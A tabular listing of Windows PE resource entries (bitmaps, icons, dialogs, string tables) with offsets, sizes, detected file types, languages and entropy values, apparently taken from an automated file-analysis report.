RT_BITMAP	0x1607810	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.38392857142857145
RT_BITMAP	0x16078f0	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4947916666666667
RT_BITMAP	0x16079b0	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768, resolution 3780 x 3780 px/m			0.11757425742574257
RT_BITMAP	0x1607cd8	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.484375
RT_BITMAP	0x1607d98	0x1028	Device independent bitmap graphic, 64 x 48 x 8, image size 3072, 256 important colors			0.11073500967117988
RT_BITMAP	0x1608dc0	0x18428	Device independent bitmap graphic, 256 x 384 x 8, image size 98304			0.5053739634489977
RT_BITMAP	0x16211e8	0x10528	Device independent bitmap graphic, 192 x 116 x 24, image size 66816			0.3392066531051813
RT_BITMAP	0x1631710	0x69a0	Device independent bitmap graphic, 300 x 30 x 24, image size 27000			0.42303994082840235
RT_BITMAP	0x16380b0	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.41353383458646614
RT_BITMAP	0x16384d8	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.731203007518797
RT_BITMAP	0x1638900	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.19554455445544555
RT_BITMAP	0x1638c28	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.22400990099009901
RT_BITMAP	0x1638f50	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.2202970297029703
RT_BITMAP	0x1639278	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.2103960396039604
RT_BITMAP	0x16395a0	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.6943069306930693
RT_BITMAP	0x16398c8	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.6806930693069307
RT_BITMAP	0x1639bf0	0xc28	Device independent bitmap graphic, 32 x 32 x 24, image size 3072			0.42609254498714655
RT_BITMAP	0x163a818	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.6324257425742574
RT_BITMAP	0x163ab40	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.7359022556390977
RT_BITMAP	0x163af68	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5921052631578947
RT_BITMAP	0x163b390	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.46146616541353386
RT_BITMAP	0x163b7b8	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.6945488721804511
RT_BITMAP	0x163bbe0	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.3890977443609023
RT_BITMAP	0x163c008	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.3317669172932331
RT_BITMAP	0x163c430	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5610902255639098
RT_BITMAP	0x163c858	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.32800751879699247
RT_BITMAP	0x163cc80	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.6343984962406015
RT_BITMAP	0x163d0a8	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.7659774436090225
RT_BITMAP	0x163d4d0	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.2959161624891962
RT_BITMAP	0x163f8f8	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.42739844425237683
RT_BITMAP	0x1641d20	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.39282627484874677
RT_BITMAP	0x1644148	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.40989628349178914
RT_BITMAP	0x1646570	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.3659248055315471
RT_BITMAP	0x1648998	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.4079515989628349
RT_BITMAP	0x164adc0	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.2819792566983578
RT_BITMAP	0x164d1e8	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.38299481417458947
RT_BITMAP	0x164f610	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.2941875540190147
RT_BITMAP	0x1651a38	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.40114520311149526
RT_BITMAP	0x1653e60	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.32497839239412274
RT_BITMAP	0x1656288	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.32875972342264476
RT_BITMAP	0x16586b0	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.351123595505618
RT_BITMAP	0x165aad8	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.3993085566119274
RT_BITMAP	0x165cf00	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.35965859982713916
RT_BITMAP	0x165f328	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.25162057044079517
RT_BITMAP	0x1661750	0x2428	Device independent bitmap graphic, 48 x 48 x 32, image size 9216			0.3878565254969749
RT_BITMAP	0x1663b78	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5225563909774437
RT_BITMAP	0x1663fa0	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5028195488721805
RT_BITMAP	0x16643c8	0x238	Device independent bitmap graphic, 29 x 29 x 4, image size 464			0.25
RT_BITMAP	0x1664600	0x238	Device independent bitmap graphic, 29 x 29 x 4, image size 464			0.20950704225352113
RT_BITMAP	0x1664838	0x238	Device independent bitmap graphic, 29 x 29 x 4, image size 464			0.21654929577464788
RT_BITMAP	0x1664a70	0xdc28	Device independent bitmap graphic, 880 x 16 x 32, image size 56320			0.41827537260468417
RT_BITMAP	0x1672698	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.45770676691729323
RT_BITMAP	0x1672ac0	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.312137330754352
RT_BITMAP	0x1673ae8	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.3058510638297872
RT_BITMAP	0x1674b10	0x528	Device independent bitmap graphic, 16 x 16 x 8, image size 256, 256 important colors			0.8234848484848485
RT_BITMAP	0x1675038	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.6766917293233082
RT_BITMAP	0x1675460	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.6278195488721805
RT_BITMAP	0x1675888	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.6334586466165414
RT_BITMAP	0x1675cb0	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768			0.6386138613861386
RT_BITMAP	0x1675fd8	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.6221804511278195
RT_BITMAP	0x1676400	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.7894736842105263
RT_BITMAP	0x1676828	0x4428	Device independent bitmap graphic, 272 x 16 x 32, image size 17408			0.48217560751948646
RT_BITMAP	0x167ac50	0x1028	Device independent bitmap graphic, 64 x 16 x 32, image size 4096			0.5720502901353965
RT_BITMAP	0x167bc78	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.42410714285714285
RT_BITMAP	0x167bd58	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.41392649903288203
RT_BITMAP	0x167cd80	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.2161654135338346
RT_BITMAP	0x167d1a8	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5018796992481203
RT_BITMAP	0x167d5d0	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.3167293233082707
RT_BITMAP	0x167d9f8	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.5548839458413927
RT_BITMAP	0x167ea20	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5582706766917294
RT_BITMAP	0x167ee48	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.48402255639097747
RT_BITMAP	0x167f270	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.5469924812030075
RT_BITMAP	0x167f698	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.4906015037593985
RT_BITMAP	0x167fac0	0x1028	Device independent bitmap graphic, 32 x 32 x 32, image size 4096			0.3034332688588008
RT_BITMAP	0x1680ae8	0x428	Device independent bitmap graphic, 16 x 16 x 32, image size 1024			0.48872180451127817
RT_BITMAP	0x1680f10	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.5104166666666666
RT_BITMAP	0x1680fd0	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.5
RT_BITMAP	0x16810b0	0xc0	Device independent bitmap graphic, 11 x 11 x 4, image size 88			0.4479166666666667
RT_BITMAP	0x1681170	0xc0	Device independent bitmap graphic, 11 x 11 x 4, image size 88			0.4479166666666667
RT_BITMAP	0x1681230	0xc0	Device independent bitmap graphic, 11 x 11 x 4, image size 88			0.3958333333333333
RT_BITMAP	0x16812f0	0x94	Device independent bitmap graphic, 6 x 11 x 4, image size 44			0.49324324324324326
RT_BITMAP	0x1681384	0x94	Device independent bitmap graphic, 6 x 11 x 4, image size 44			0.43243243243243246
RT_BITMAP	0x1681418	0x94	Device independent bitmap graphic, 6 x 11 x 4, image size 44			0.4864864864864865
RT_BITMAP	0x16814ac	0xc8	Device independent bitmap graphic, 12 x 12 x 4, image size 96, 16 important colors			0.495
RT_BITMAP	0x1681574	0xb8	Device independent bitmap graphic, 14 x 10 x 4, image size 80, 16 important colors			0.358695652173913
RT_BITMAP	0x168162c	0x98	Device independent bitmap graphic, 9 x 6 x 4, image size 48, 16 important colors			0.4934210526315789
RT_BITMAP	0x16816c4	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112, 16 important colors			0.4212962962962963
RT_BITMAP	0x168179c	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112, 16 important colors			0.5370370370370371
RT_BITMAP	0x1681874	0xb0	Device independent bitmap graphic, 13 x 9 x 4, image size 72, 16 important colors			0.4602272727272727
RT_BITMAP	0x1681924	0x88	Device independent bitmap graphic, 8 x 8 x 4, image size 32			0.4411764705882353
RT_BITMAP	0x16819ac	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104			0.44711538461538464
RT_BITMAP	0x1681a7c	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104			0.42788461538461536
RT_BITMAP	0x1681b4c	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104			0.4375
RT_BITMAP	0x1681c1c	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104			0.4519230769230769
RT_BITMAP	0x1681cec	0x8c	Device independent bitmap graphic, 7 x 9 x 4, image size 36, 16 important colors			0.5285714285714286
RT_BITMAP	0x1681d78	0xb0	Device independent bitmap graphic, 13 x 9 x 4, image size 72, 16 important colors			0.4602272727272727
RT_BITMAP	0x1681e28	0x338	Device independent bitmap graphic, 120 x 12 x 4, image size 720, 16 important colors			0.21723300970873785
RT_BITMAP	0x1682160	0x88	Device independent bitmap graphic, 8 x 8 x 4, image size 32			0.4411764705882353
RT_BITMAP	0x16821e8	0xb0	Device independent bitmap graphic, 14 x 9 x 4, image size 72, 16 important colors			0.5170454545454546
RT_BITMAP	0x1682298	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.5431034482758621
RT_BITMAP	0x1682380	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128			0.5646551724137931
RT_BITMAP	0x1682468	0xb0	Device independent bitmap graphic, 14 x 9 x 4, image size 72			0.5170454545454546
RT_BITMAP	0x1682518	0x8c	Device independent bitmap graphic, 7 x 9 x 4, image size 36, 16 important colors			0.5285714285714286
RT_BITMAP	0x16825a4	0xb0	Device independent bitmap graphic, 13 x 9 x 4, image size 72, 16 important colors			0.4659090909090909
RT_BITMAP	0x1682654	0x104	Device independent bitmap graphic, 20 x 13 x 4, image size 156			0.4307692307692308
RT_BITMAP	0x1682758	0x88	Device independent bitmap graphic, 8 x 8 x 4, image size 32, 16 important colors			0.4632352941176471
RT_BITMAP	0x16827e0	0x7c	Device independent bitmap graphic, 8 x 5 x 4, image size 20			0.5241935483870968
RT_BITMAP	0x168285c	0x1b8	Device independent bitmap graphic, 42 x 14 x 4, image size 336, 16 important colors			0.30454545454545456
RT_BITMAP	0x1682a14	0x94	Device independent bitmap graphic, 7 x 11 x 4, image size 44			0.5067567567567568
RT_BITMAP	0x1682aa8	0xb0	Device independent bitmap graphic, 14 x 9 x 4, image size 72, 16 important colors			0.5170454545454546
RT_BITMAP	0x1682b58	0xc8	Device independent bitmap graphic, 12 x 12 x 4, image size 96, 16 important colors			0.515
RT_BITMAP	0x1682c20	0x98	Device independent bitmap graphic, 9 x 6 x 4, image size 48, 16 important colors			0.506578947368421
RT_BITMAP	0x1682cb8	0xd8	Device independent bitmap graphic, 14 x 14 x 4, image size 112, 16 important colors			0.6759259259259259
RT_BITMAP	0x1682d90	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_BITMAP	0x1682e78	0xc0	Device independent bitmap graphic, 16 x 11 x 4, image size 88, 16 important colors	English	United States	0.4895833333333333
RT_BITMAP	0x1682f38	0x328	Device independent bitmap graphic, 16 x 16 x 24, image size 768, resolution 3780 x 3780 px/m			0.12747524752475248
RT_BITMAP	0x1683260	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.3829268292682927
RT_BITMAP	0x16838c8	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.39146341463414636
RT_BITMAP	0x1683f30	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.3853658536585366
RT_BITMAP	0x1684598	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288	French	France	0.35459183673469385
RT_BITMAP	0x1684720	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.39207317073170733
RT_BITMAP	0x1684d88	0x110	Device independent bitmap graphic, 24 x 14 x 4, image size 168	English	United States	0.40808823529411764
RT_BITMAP	0x1684e98	0x110	Device independent bitmap graphic, 24 x 14 x 4, image size 168	English	United States	0.4117647058823529
RT_BITMAP	0x1684fa8	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576	Polish	Poland	0.375609756097561
RT_BITMAP	0x1685610	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288	English	Great Britain	0.41836734693877553
RT_BITMAP	0x1685798	0x188	Device independent bitmap graphic, 24 x 24 x 4, image size 288	English	United States	0.5943877551020408
RT_BITMAP	0x1685920	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.35548780487804876
RT_BITMAP	0x1685f88	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.3853658536585366
RT_BITMAP	0x16865f0	0x668	Device independent bitmap graphic, 24 x 24 x 8, image size 576, 256 important colors	English	United States	0.43902439024390244
RT_BITMAP	0x1686c58	0xe0	Device independent bitmap graphic, 16 x 15 x 4, image size 120, 16 important colors	English	United States	0.3794642857142857
RT_BITMAP	0x1686d38	0xce8	Device independent bitmap graphic, 400 x 16 x 4, image size 3200			0.1089588377723971
RT_BITMAP	0x1687a20	0xce8	Device independent bitmap graphic, 400 x 16 x 4, image size 3200			0.10714285714285714
RT_BITMAP	0x1688708	0xce8	Device independent bitmap graphic, 400 x 16 x 4, image size 3200			0.0950363196125908
RT_BITMAP	0x16893f0	0x268	Device independent bitmap graphic, 32 x 32 x 4, image size 512			0.21266233766233766
RT_BITMAP	0x1689658	0x268	Device independent bitmap graphic, 32 x 32 x 4, image size 512			0.17207792207792208
RT_BITMAP	0x16898c0	0x268	Device independent bitmap graphic, 32 x 32 x 4, image size 512			0.1672077922077922
RT_BITMAP	0x1689b28	0xce8	Device independent bitmap graphic, 400 x 16 x 4, image size 3200			0.11955205811138014
RT_BITMAP	0x168a810	0xce8	Device independent bitmap graphic, 400 x 16 x 4, image size 3200			0.11561743341404358
RT_BITMAP	0x168b4f8	0xd28	Device independent bitmap graphic, 144 x 16 x 8, image size 2304			0.23634204275534443
RT_BITMAP	0x168c220	0x124	Device independent bitmap graphic, 9 x 9 x 24, image size 252			0.2465753424657534
RT_BITMAP	0x168c344	0x124	Device independent bitmap graphic, 9 x 9 x 24, image size 252			0.3356164383561644
RT_BITMAP	0x168c468	0x4b2a	Device independent bitmap graphic, 400 x 16 x 24, image size 0, resolution 2834 x 2834 px/m			0.2749194470429269
RT_BITMAP	0x1690f94	0x124	Device independent bitmap graphic, 9 x 9 x 24, image size 252			0.571917808219178
RT_BITMAP	0x16910b8	0x126	Device independent bitmap graphic, 9 x 9 x 24, image size 0, resolution 2834 x 2834 px/m			0.5918367346938775
RT_ICON	0x16911e0	0x4c28	Device independent bitmap graphic, 128 x 256 x 8, image size 18432	English	United States	0.32837505129257283
RT_ICON	0x1695e08	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688	English	United States	0.6324626865671642
RT_ICON	0x1696cb0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.7333032490974729
RT_ICON	0x1697558	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 672	English	United States	0.7764976958525346
RT_ICON	0x1697c20	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.8634393063583815
RT_ICON	0x1698188	0x42028	Device independent bitmap graphic, 256 x 512 x 32, image size 270336	English	United States	0.2028767346214161
RT_ICON	0x16da1b0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.2981190110020111
RT_ICON	0x16ea9d8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.6924273858921162
RT_ICON	0x16ecf80	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.8081613508442776
RT_ICON	0x16ee028	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.8774590163934426
RT_ICON	0x16ee9b0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.9308510638297872
RT_DIALOG	0x16eee18	0x52	data			0.7682926829268293
RT_DIALOG	0x16eee6c	0x52	data			0.7804878048780488
RT_DIALOG	0x16eeec0	0x32	data	Czech	Czech Republic	0.82
RT_DIALOG	0x16eeef4	0x52	data			0.7560975609756098
RT_STRING	0x16eef48	0x3d4	data			0.43979591836734694
RT_STRING	0x16ef31c	0x898	data			0.3109090909090909
RT_STRING	0x16efbb4	0x106c	data			0.21741198858230257
RT_STRING	0x16f0c20	0x9f8	data			0.32053291536050155
RT_STRING	0x16f1618	0x894	data			0.3087431693989071
RT_STRING	0x16f1eac	0x87c	data			0.27532228360957645
RT_STRING	0x16f2728	0x400	data			0.392578125
RT_STRING	0x16f2b28	0x3e8	DOS executable (COM, 0x8C-variant)			0.392
RT_STRING	0x16f2f10	0x4fc	data			0.384012539184953
RT_STRING	0x16f340c	0x3c4	data			0.44398340248962653
RT_STRING	0x16f37d0	0x2d8	data			0.45054945054945056
RT_STRING	0x16f3aa8	0x218	data			0.48880597014925375
RT_STRING	0x16f3cc0	0x324	data			0.47139303482587064
RT_STRING	0x16f3fe4	0x188	data			0.5535714285714286
RT_STRING	0x16f416c	0xf8	data			0.5564516129032258
RT_STRING	0x16f4264	0x138	data			0.5480769230769231
RT_STRING	0x16f439c	0x1b4	data			0.5160550458715596
RT_STRING	0x16f4550	0x2e4	data			0.4702702702702703
RT_STRING	0x16f4834	0x200	data			0.470703125
RT_STRING	0x16f4a34	0x1ec	data			0.44308943089430897
RT_STRING	0x16f4c20	0x2c8	data			0.4199438202247191
RT_STRING	0x16f4ee8	0x240	data			0.4340277777777778
RT_STRING	0x16f5128	0x1f4	data			0.45
RT_STRING	0x16f531c	0x1a0	data			0.4831730769230769
RT_STRING	0x16f54bc	0x180	data			0.5104166666666666
RT_STRING	0x16f563c	0xf4	data			0.639344262295082
RT_STRING	0x16f5730	0x2e4	data			0.40540540540540543
RT_STRING	0x16f5a14	0x1b0	data			0.46296296296296297
RT_STRING	0x16f5bc4	0xe4	data			0.706140350877193
RT_STRING	0x16f5ca8	0x1e8	data			0.4098360655737705
RT_STRING	0x16f5e90	0x188	data			0.4872448979591837
RT_STRING	0x16f6018	0x168	data			0.45555555555555555
RT_STRING	0x16f6180	0x124	data			0.547945205479452
RT_STRING	0x16f62a4	0x100	data			0.54296875
RT_STRING	0x16f63a4	0x248	data			0.3167808219178082
RT_STRING	0x16f65ec	0x1d8	data			0.4470338983050847
RT_STRING	0x16f67c4	0x1a8	data			0.49528301886792453
RT_STRING	0x16f696c	0x1e0	data			0.3229166666666667
RT_STRING	0x16f6b4c	0xb8	data			0.5597826086956522
RT_STRING	0x16f6c04	0xa8	data			0.625
RT_STRING	0x16f6cac	0x150	data			0.5565476190476191
RT_STRING	0x16f6dfc	0x3a0	data			0.375
RT_STRING	0x16f719c	0x250	data			0.46959459459459457
RT_STRING	0x16f73ec	0x1d0	data			0.5086206896551724
RT_STRING	0x16f75bc	0x188	data			0.5
RT_STRING	0x16f7744	0x234	data			0.46808510638297873
RT_STRING	0x16f7978	0x1c4	data			0.5088495575221239
RT_STRING	0x16f7b3c	0x18c	AmigaOS bitmap font "o", fc_YSize 28672, 21504 elements, 2nd " ", 3rd			0.5075757575757576
RT_STRING	0x16f7cc8	0x1ac	data			0.49065420560747663
RT_STRING	0x16f7e74	0x134	data			0.5876623376623377
RT_STRING	0x16f7fa8	0x1a4	data			0.5357142857142857
RT_STRING	0x16f814c	0x1f8	StarOffice Gallery theme t, 1694528000 objects, 1st D			0.5059523809523809
RT_STRING	0x16f8344	0x140	data			0.58125
RT_STRING	0x16f8484	0x228	data			0.4692028985507246
RT_STRING	0x16f86ac	0x300	data			0.3815104166666667
RT_STRING	0x16f89ac	0x414	data			0.44157088122605365
RT_STRING	0x16f8dc0	0x1ac	data			0.4182242990654206
RT_STRING	0x16f8f6c	0x1ec	data			0.46747967479674796
RT_STRING	0x16f9158	0x2e4	data			0.4418918918918919
RT_STRING	0x16f943c	0x2f0	data			0.45611702127659576
RT_STRING	0x16f972c	0x230	data			0.4035714285714286
RT_STRING	0x16f995c	0x1ac	data			0.4696261682242991
RT_STRING	0x16f9b08	0x204	data			0.5406976744186046
RT_STRING	0x16f9d0c	0x314	data			0.4035532994923858
RT_STRING	0x16fa020	0x3a0	data			0.45905172413793105
RT_STRING	0x16fa3c0	0x1bc	data			0.536036036036036
RT_STRING	0x16fa57c	0x2d4	data			0.4488950276243094
RT_STRING	0x16fa850	0x140	data			0.56875
RT_STRING	0x16fa990	0xc88	data			0.15835411471321695
RT_STRING	0x16fb618	0x9cc	data			0.17464114832535885
RT_STRING	0x16fbfe4	0xa98	data			0.14786135693215338
RT_STRING	0x16fca7c	0x1a4	data			0.4595238095238095
RT_STRING	0x16fcc20	0x160	data			0.4971590909090909
RT_STRING	0x16fcd80	0x120	data			0.5486111111111112
RT_STRING	0x16fcea0	0x170	data			0.3532608695652174
RT_STRING	0x16fd010	0x16c	data			0.34065934065934067
RT_STRING	0x16fd17c	0x1b4	data			0.3486238532110092
RT_STRING	0x16fd330	0x13c	data			0.4810126582278481
RT_STRING	0x16fd46c	0xf4	data			0.6147540983606558
RT_STRING	0x16fd560	0x26c	data			0.4435483870967742
RT_STRING	0x16fd7cc	0x49c	data			0.3432203389830508
RT_STRING	0x16fdc68	0x14c	data			0.4939759036144578
RT_STRING	0x16fddb4	0xac	data			0.6453488372093024
RT_STRING	0x16fde60	0x110	data			0.5955882352941176
RT_STRING	0x16fdf70	0x238	AmigaOS bitmap font "a", fc_YSize 25856, 17408 elements, 2nd "c", 3rd "b"			0.4964788732394366
RT_STRING	0x16fe1a8	0x3f8	data			0.3464566929133858
RT_STRING	0x16fe5a0	0x418	data			0.40553435114503816
RT_STRING	0x16fe9b8	0x668	data			0.26158536585365855
RT_STRING	0x16ff020	0x558	data			0.3355263157894737
RT_STRING	0x16ff578	0x47c	data			0.3623693379790941
RT_STRING	0x16ff9f4	0x2ec	data			0.4893048128342246
RT_STRING	0x16ffce0	0x168	data			0.55
RT_STRING	0x16ffe48	0x15c	data			0.5890804597701149
RT_STRING	0x16fffa4	0x26c	data			0.3629032258064516
RT_STRING	0x1700210	0x3f4	data			0.42391304347826086
RT_STRING	0x1700604	0x344	data			0.41148325358851673
RT_STRING	0x1700948	0x420	data			0.4015151515151515
RT_STRING	0x1700d68	0x3e8	data			0.421
RT_STRING	0x1701150	0x388	data			0.38716814159292035
RT_STRING	0x17014d8	0x364	data			0.3490783410138249
RT_STRING	0x170183c	0x2ec	data			0.4304812834224599
RT_STRING	0x1701b28	0x264	data			0.4477124183006536
RT_STRING	0x1701d8c	0x154	data			0.55
RT_STRING	0x1701ee0	0x150	data			0.47619047619047616
RT_STRING	0x1702030	0x130	data			0.506578947368421
RT_STRING	0x1702160	0x184	data			0.538659793814433
RT_STRING	0x17022e4	0x1b0	data			0.4166666666666667
RT_STRING	0x1702494	0x2a4	data			0.46153846153846156
RT_STRING	0x1702738	0x104	data			0.6346153846153846
RT_STRING	0x170283c	0x104	data			0.6230769230769231
RT_STRING	0x1702940	0x1ac	StarOffice Gallery theme y, 1694530048 objects, 1st h			0.4182242990654206
RT_STRING	0x1702aec	0x158	data			0.40988372093023256
RT_STRING	0x1702c44	0x334	data			0.4268292682926829
RT_STRING	0x1702f78	0x2e0	data			0.4116847826086957
RT_STRING	0x1703258	0x234	data			0.39361702127659576
RT_STRING	0x170348c	0x22c	AmigaOS bitmap font "i", fc_YSize 4352, 19456 elements, 2nd "i", 3rd "c"			0.3830935251798561
RT_STRING	0x17036b8	0x118	data			0.5571428571428572
RT_STRING	0x17037d0	0x128	data			0.5540540540540541
RT_STRING	0x17038f8	0x110	data			0.6286764705882353
RT_STRING	0x1703a08	0x31c	AmigaOS bitmap font "a", fc_YSize 28672, 19968 elements, 2nd "b", 3rd "o"			0.4472361809045226
RT_STRING	0x1703d24	0x3c4	data			0.4107883817427386
RT_STRING	0x17040e8	0x27c	data			0.42924528301886794
RT_STRING	0x1704364	0x384	data			0.45
RT_STRING	0x17046e8	0x324	data			0.38681592039800994
RT_STRING	0x1704a0c	0x2d4	data			0.425414364640884
RT_STRING	0x1704ce0	0x48c	data			0.3634020618556701
RT_STRING	0x170516c	0x430	data			0.3666044776119403
RT_STRING	0x170559c	0x310	data			0.41709183673469385
RT_STRING	0x17058ac	0x294	data			0.4257575757575758
RT_STRING	0x1705b40	0x338	data			0.44538834951456313
RT_STRING	0x1705e78	0x218	data			0.503731343283582
RT_STRING	0x1706090	0x1f4	data			0.416
RT_STRING	0x1706284	0x1cc	data			0.4891304347826087
RT_STRING	0x1706450	0x1f0	data			0.5
RT_STRING	0x1706640	0x164	data			0.5224719101123596
RT_STRING	0x17067a4	0x3e4	data			0.321285140562249
RT_STRING	0x1706b88	0x3d0	data			0.41905737704918034
RT_STRING	0x1706f58	0x1a8	data			0.5
RT_STRING	0x1707100	0x1b0	data			0.47453703703703703
RT_STRING	0x17072b0	0x2a0	data			0.47172619047619047
RT_STRING	0x1707550	0x2bc	data			0.47
RT_STRING	0x170780c	0x130	data			0.5855263157894737
RT_STRING	0x170793c	0x318	data			0.47853535353535354
RT_STRING	0x1707c54	0x17c	data			0.5763157894736842
RT_STRING	0x1707dd0	0x1a0	data			0.5600961538461539
RT_STRING	0x1707f70	0x200	AmigaOS bitmap font "h", fc_YSize 28416, 21248 elements, 2nd "t", 3rd			0.451171875
RT_STRING	0x1708170	0x198	data			0.5098039215686274
RT_STRING	0x1708308	0x174	data			0.49731182795698925
RT_STRING	0x170847c	0x70c	AmigaOS bitmap font "e", fc_YSize 8192, 20992 elements, 2nd "s", 3rd """			0.3004434589800443
RT_STRING	0x1708b88	0x3a8	data			0.42948717948717946
RT_STRING	0x1708f30	0x18c	data			0.5151515151515151
RT_STRING	0x17090bc	0x550	data			0.28602941176470587
RT_STRING	0x170960c	0x1c8	data			0.5372807017543859
RT_STRING	0x17097d4	0xfc	data			0.6388888888888888
RT_STRING	0x17098d0	0xf4	data			0.6475409836065574
RT_STRING	0x17099c4	0x1c0	data			0.5200892857142857
RT_STRING	0x1709b84	0x1e0	data			0.5416666666666666
RT_STRING	0x1709d64	0x238	data			0.2992957746478873
RT_STRING	0x1709f9c	0x194	data			0.4084158415841584
RT_STRING	0x170a130	0x178	data			0.4654255319148936
RT_STRING	0x170a2a8	0x150	data			0.6011904761904762
RT_STRING	0x170a3f8	0x160	data			0.5852272727272727
RT_STRING	0x170a558	0x138	data			0.592948717948718
RT_STRING	0x170a690	0x21c	data			0.4888888888888889
RT_STRING	0x170a8ac	0x184	data			0.5463917525773195
RT_STRING	0x170aa30	0x194	data			0.37623762376237624
RT_STRING	0x170abc4	0x168	data			0.4722222222222222
RT_STRING	0x170ad2c	0x16c	data			0.5796703296703297
RT_STRING	0x170ae98	0x1a8	data			0.5212264150943396
RT_STRING	0x170b040	0x1e8	data			0.5573770491803278
RT_STRING	0x170b228	0x15c	data			0.5
RT_STRING	0x170b384	0x144	data			0.595679012345679
RT_STRING	0x170b4c8	0x3a8	data			0.37713675213675213
